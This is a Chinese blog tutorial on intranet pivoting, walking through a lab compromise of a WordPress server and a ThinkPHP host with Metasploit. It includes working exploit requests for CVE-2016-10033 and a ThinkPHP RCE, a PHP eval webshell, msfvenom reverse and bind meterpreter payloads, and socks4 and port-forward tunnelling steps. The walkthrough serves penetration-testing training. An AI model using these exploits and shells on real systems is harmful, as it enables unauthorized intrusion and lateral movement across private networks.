百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 技术文章 > 正文

网络安全小百科--到底什么是内网穿透?看到这篇文章你就理解了

nanshan 2025-01-31 14:25 8 浏览 0 评论

在平时护网比赛中,攻坚环境中,渗透测试中,做内网穿透使用的工具有很多如:EWCobalt Strike 为了方便小白入门,本次教程通过渗透过程中最常用的MSF攻击框架中socks4做内网穿透代理,实现内网横向渗透。

用本公司的靶场,模拟一个攻坚小场景:

外网IP:112.115.*.* (一台存在wordpress漏洞的web服务器)

内网:10.0.0.0/24 (模拟开发人员,一台为weblogic漏洞机器,一台为thinkphp漏洞机器)

渗透思路:用MSF对wordpress漏洞进行反弹shell,发现机器位于一个内网,建立socks4线路,横向扫描并对内网其他机器进行渗透并反弹shell

由于socks4做穿透超过3层就会失去流量速度,所以后期我会写一篇用EW或其他穿透工具做多网段多层穿透。

攻击机:kali

目标机:攻坚靶场

首先开启kali,利用Wordpress 4.6 任意命令执行漏洞,对主站服务器进行上传一句话或,直接反弹shell(为了一些教会小白一些提权细节,所以先写入一句话,然后在反弹msf shell)如果自己练习,可以直接msf生成shellcode扔到主站反弹shell。

0x001 主站渗透

打开主站http://122.115.*.*:8000/介绍一下这个漏洞

WordPress <= 4.6命令执行漏洞(PHPMailer)(CVE-2016-10033)
WordPress是一种使用PHP语言开发的博客平台,用户可以在支持PHP和MySQL数据库的服务器上架设属于自己的网站。也可以把WordPress用作一个内容管理系统(CMS)来使用。WordPress使用PHPMailer组件向用户发送邮件。PHPMailer(版本<5.2.18)存在远程命令执行漏洞,攻击者只需轻松地构造出一个恶意邮箱地址,即可写入任意文件,从而造成远程命令执行的危害。

POC

假如目标地址为:http : //127.0.0.1 : 8000/

  1. 把下面的HTTP报文复制到BurpSuite Repeater中,单击Go按钮,填充目标IP和扩展(例如,IP填充127.0.0.1填充80)
POST /wp-login.php?action=lostpassword HTTP/1.1
Host: target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}var${substr{0}{1}{$spool_directory}}www${substr{0}{1}{$spool_directory}}html${substr{0}{1}{$spool_directory}}vuln}} null)
Connection: close
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: */*
Content-Length: 56
Content-Type: application/x-www-form-urlencoded
wp-submit=Get+New+Password&redirect_to=&user_login=admin
  1. 访问:http : //127.0.0.1 :8000/ vuln

看到返回状态码为200代表已经成功创建了/var/www/html/vuln文件

可在发包之前访问该地址,会出现404

注意:

  1. 远程URL中不要有 http://
  2. 所有字母必须小写
  3. 所有/用${substr{0}{1}{$spool_directory}}代替
  4. 空格所有用${substr{10}{1}{$tod_log}}代替

先利用poc对主站写入一个vuln空白页面,测试漏洞

然后写入一句话

用中国蚁剑连接webshell,下一步准备msf生成一个shell

在linux系统下/var/tmp目录可以进行高权限反弹shell,打开新的一个终端输入"msfconsole"启动msf

新打开一个终端生成反弹shell命令

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT= -f elf > shell.elf
回到msf端口
msf>use exploit/multi/handler ###监听
msf>set payload linux/x86/meterpreter/reverse_tcp ###反弹shell模块
msf>run ###开始监听

用webshell把生成的shell.elf上传到/var/tmp/目录下,chmod+x 提权(linux提权细节),在通过终端执行反弹shell

反弹shell成功,开始内网穿透

meterpreter > ipconfig ###查看网卡ip

0x002 搭建内网隧道横向渗透

meterpreter中添加好通向对方内网的路由

meterpreter > run autoroute -s 10.0.0.0/24
meterpreter > route flush 不用的时候,记得删掉就行
由于目标是linux的,所以直接进行下一步
如果是windows跳板机可以用以下命令进行扫描内网机器
run post/windows/gather/arp_scanner RHOSTS=10.0.0.0/24 
windows:可以先通过arp扫描粗略的扫一眼目标内网的机器大概有多少

msf>background 挂后台保持shell,开始下一步开启代理

msf exploit(handler) > use auxiliary/server/socks4a 
msf auxiliary(socks4a) > set 127.0.0.1
msf auxiliary(socks4a) > set srvport 1080
msf auxiliary(socks4a) > run

然后apt install proxychains,我kali已经安装了所以直接

vim /etc/proxychains.conf
添加 socks4 127.0.0.1 1080

这样msf本地开启socks4穿透,通过shell,转发到跳板机的机器

proxychains nmap -sT -sV -Pn -n -p80 10.0.0.0/24 ###通过跳板机扫描内网
发现 10.0.0.0/24段有个几台活跃ip,新建终端:proxychains firefox ####通过代理打开火狐浏览器

通过web跳板机访问到10.0.0.3,但是问题来了,目标内网有一台漏洞主机10.0.0.3,但是用菜刀或者蚂剑无法直接连接,所以有两个办法:

1.通过proxy代理启动蚁剑或者菜刀 
2.目标机内网端口转发

使用portfwd模块(Metasploit中的一个post模块)可完成端口转发

meterpreter > portfwd -h
Usage: portfwd [-h] [add | delete | list | flush] [args]
OPTIONS:
 -L  Forward: local host to listen on (optional). Remote: local host to connect to.
 -R Indicates a reverse port forward.
 -h Help banner.
 -i  Index of the port forward entry to interact with (see the "list" command).
 -l  Forward: local port to listen on. Reverse: local port to connect to.
 -p  Forward: remote port to connect to. Reverse: remote port to listen on.
 -r  Forward: remote host to connect to.

meterpreter > portfwd add -L 本地ip -l 本机端口 -p 目标内网端口 -r 目标内网

所以要建立一条线路用,msf 把本机某个端口直接转发到目标内网端口

攻击者本机<端口转发>>>>>跳板机>>>>>>目标机内网

现在无需任何代理,直接访问本机127.0.0.1:5000 就能访问到目标机内网

现在内网穿透拓扑结构就是

127.0.0.1:5000<>socks4:主站的shll<>内网10.0.0.3:80
 本地端口 socks4 内网
127.0.0.1:5000=10.0.0.3:80

0x003 多层跳板机穿透

现在对内网10.0.0.3进行渗透和提权,也就是127.0.0.1:5000

内网10.0.0.3是一台包含ThinkPHP5 5.0.22/5.1.29 远程代码执行漏洞的机器

直接访问http://your-ip/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1,即可执行phpinfo:

写入一句话shell就是

http://your-ip//index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=%3C?php%20@eval($_POST%5B-7%5D);?%3E

蚁剑连接shell:127.0.0.1:5000/shell.php

现在要对这台内网机器提权msfshell,由于是内网隔离环境,所以需要使用bind_shell

在msf生成一个bind_shell开端口木马启动后,在做本段端口转发过去,msf在bind连接

新起一个终端:msf生成一个bindshell的木马(正向连接)

 msfvenom -p linux/x86/meterpreter/bind_tcp lport=9999 -f elf -o bindshell

放到通过webshell 放到/var/tmp/下加权限,启动

现在内网10.0.0.3在9999端口开启直接连shell权限,现在要做一个新的转发把10.0.0.3:9999端口转发到本地,然后msf直连

sessions 
sessions id编号
meterpreter > portfwd add -L 127.0.0.1 -l 9999 -p 10.0.0.3 -r 9999

现在内网10.0.0.3的bindshell 9999 端口 转发到 本地127.0.0.1:9999端口了

msf进行直连shell

use exploit/multi/handler
set payload linux/x86/meterpreter/bind_tcp
show options
set LPORT 9999
set RHOST 127.0.0.1
run

等待连接shell

反弹shell后,只需要在10.0.0.3的shell上

use auxiliary/server/socks4a
set 127.0.0.1
set srvport 1081
run
添加一个新隧道

在/etc/proxychains.conf 中添加 socks4 127.0.0.1 1081

在proxychains nmap 扫描就是直接连接到10.0.0.3上进行转发扫描,内网二级穿透扫描

127.0.0.1:1080<>主站跳板跳板机<>10.0.0.3跳板机<>新ip(192.168.0.1)

实现了双跳板机内网穿透,同样方法,要是拿到192.168.0.1的第三层内网,只需要之前的添加个端口转发到本地,就能继续渗透。一般内网到第二层流量很少了,继续深层网段渗透就需要上 EW穿透神器等工具。

总结一下流程,拿到webshell,上传木马反弹的msf,msf做socks4的代理然后添加端口转发,进行下一层渗透,第二层同样继续反弹shell,做代理,端口转发。

相关推荐

Linux 的磁盘系统,和你了解的Windows差别很大

我的C盘去哪了?一个系统,如果没有存储,那么也就不能称之为系统。存储性是一个完整系统的重要组成部分。例如AWS最开始的服务就是S3(用来存储数据的云服务),足以见得存储对于一个应用平台是多么的重要。...

一文读懂 Linux 硬盘挂载:从问题到解决方案

各位互联网大厂的后端开发伙伴们!在咱们日常工作中,操作Linux系统是常有的事儿吧。你们有没有遇到过这样的场景:新添加了一块硬盘,满心欢喜准备用来存储重要数据或者部署新的应用服务,却突然发现不知道...

硬盘分区(硬盘分区格式)

 磁盘(硬盘)分区,可以分C、D、E等分区,大家可能都会用,会根据自已的需要确定所需的空间,但分区是如何工作的呢,内容如下。Windows中有3类:MBR分区:MasterBootRecord,也...

parted命令工具分区介绍(particle命令)

linux系统磁盘分区通常可以使用fdisk和parted命令,当分区大小小于2TB的时候,两种皆可以使用,当分区大于2TB的话,就需要用parted分区。以下介绍parted命令相关使用,以sdb为...

Linux 服务器上查看磁盘类型的方法

方法1:使用lsblk命令lsblk输出说明:TYPE列显示设备类型,如disk(物理磁盘)、part(分区)、rom(只读存储)等。NAME列显示设备名称(如sda、nvme0n1)。TR...

Linux分区命令fdisk和parted使用介绍

摘要:一般情况下,Linux分区都是选择fdisk工具,要求硬盘格式为MBR格式,能支持的最大分区空间为2T。但是目前在实际生产环境中使用的磁盘空间越来越大,呈TB级别增长;而常用的fdisk这个工具...

linux 分区原理与名词解释(linux操作系统中的分区类型)

分区的意义将磁盘分成几份,每份挂在到文件系统的那个目录在linux里的文件系统Ext2:早期的格式,不支持日志功能Ext3:ext2改良版,增加了日志功能,是最基本且最常用的使用格式了Ext4:针对e...

linux 分区合并(linux合理分区)

查看虚拟机当前磁盘挂载情况fdisk-l选择磁盘fdisk/dev/sda查看磁盘分区情况p重新选择分区n选择主分区p保存w创建物理卷pvcreate/dev/sda3查看物理卷信息pvdi...

如何在 Linux 系统中永久禁用交换分区 ?

Linux操作系统中的交换分区或交换文件充当硬盘上的临时存储区域,当物理内存(RAM)满时,系统使用该存储区域。它用于交换较少使用的内存页,这样系统就不会因为运行应用程序而耗尽物理内存。随着技术的发...

Linux 如何知道硬盘已用多少空间、未用多少空间

刚出社会时,去了一家公司上班,老板为了省钱,买的服务器是低配的,硬盘大小只有40G,有一次网站突然不能访问了,排查半天才知道原来服务器的硬盘空间已用完,已无可用空间。第一步是查看硬盘的使用情况,第二步...

用Linux系统管理磁盘空间 就该这么来

要想充分有效的管理使用Linux系统中的存储空间,用户必须要做的就是双管齐下,一边扩充空间一边限制空间。不得不说的就是很多时候磁盘空间就像水资源,需节制水流。说到要如何实现限制空间就离不开使用LVM技...

Windows 11 磁盘怎么分区?(windows11磁盘怎么分区)

Windows11磁盘分区技术解析与操作指南:构建高效存储体系一、磁盘分区的技术本质与系统价值磁盘分区作为存储系统的基础架构,通过逻辑划分实现数据隔离与管理优化。Windows11采用NTF...

linux上创建多个文件分区,格式化为 ext2、ext3、ext4、XFS 文件

以下是在Linux系统上创建多个20GB文件分区并格式化为不同文件系统的分步指南:步骤1:创建基础文件(4个20GB文件)bash#创建4个20GB稀疏文件(实际占用空间随写入量增长)ddif=/...

救命的U盘低格哪家最强?(低格优盘)

周二时有位童鞋留言说U盘之前做过引导盘,现在格式化不了,用各种工具都不行,而且因为U盘厂商的关系,查不到U盘主控,无法量产恢复,特来求助。小编花了点时间特意弄坏一个U盘分区,终于试出方法了,特来分享一...

Linux 查看硬件磁盘存储大小和磁盘阵列(RAID)的组合方式

一、查看硬件磁盘存储大小查看所有磁盘信息:#lsblk该命令会列出所有磁盘(如/dev/sda、/dev/nvme0n1)及其分区和挂载点。查看磁盘总容量:fdisk-l#或parted-...

取消回复欢迎 发表评论: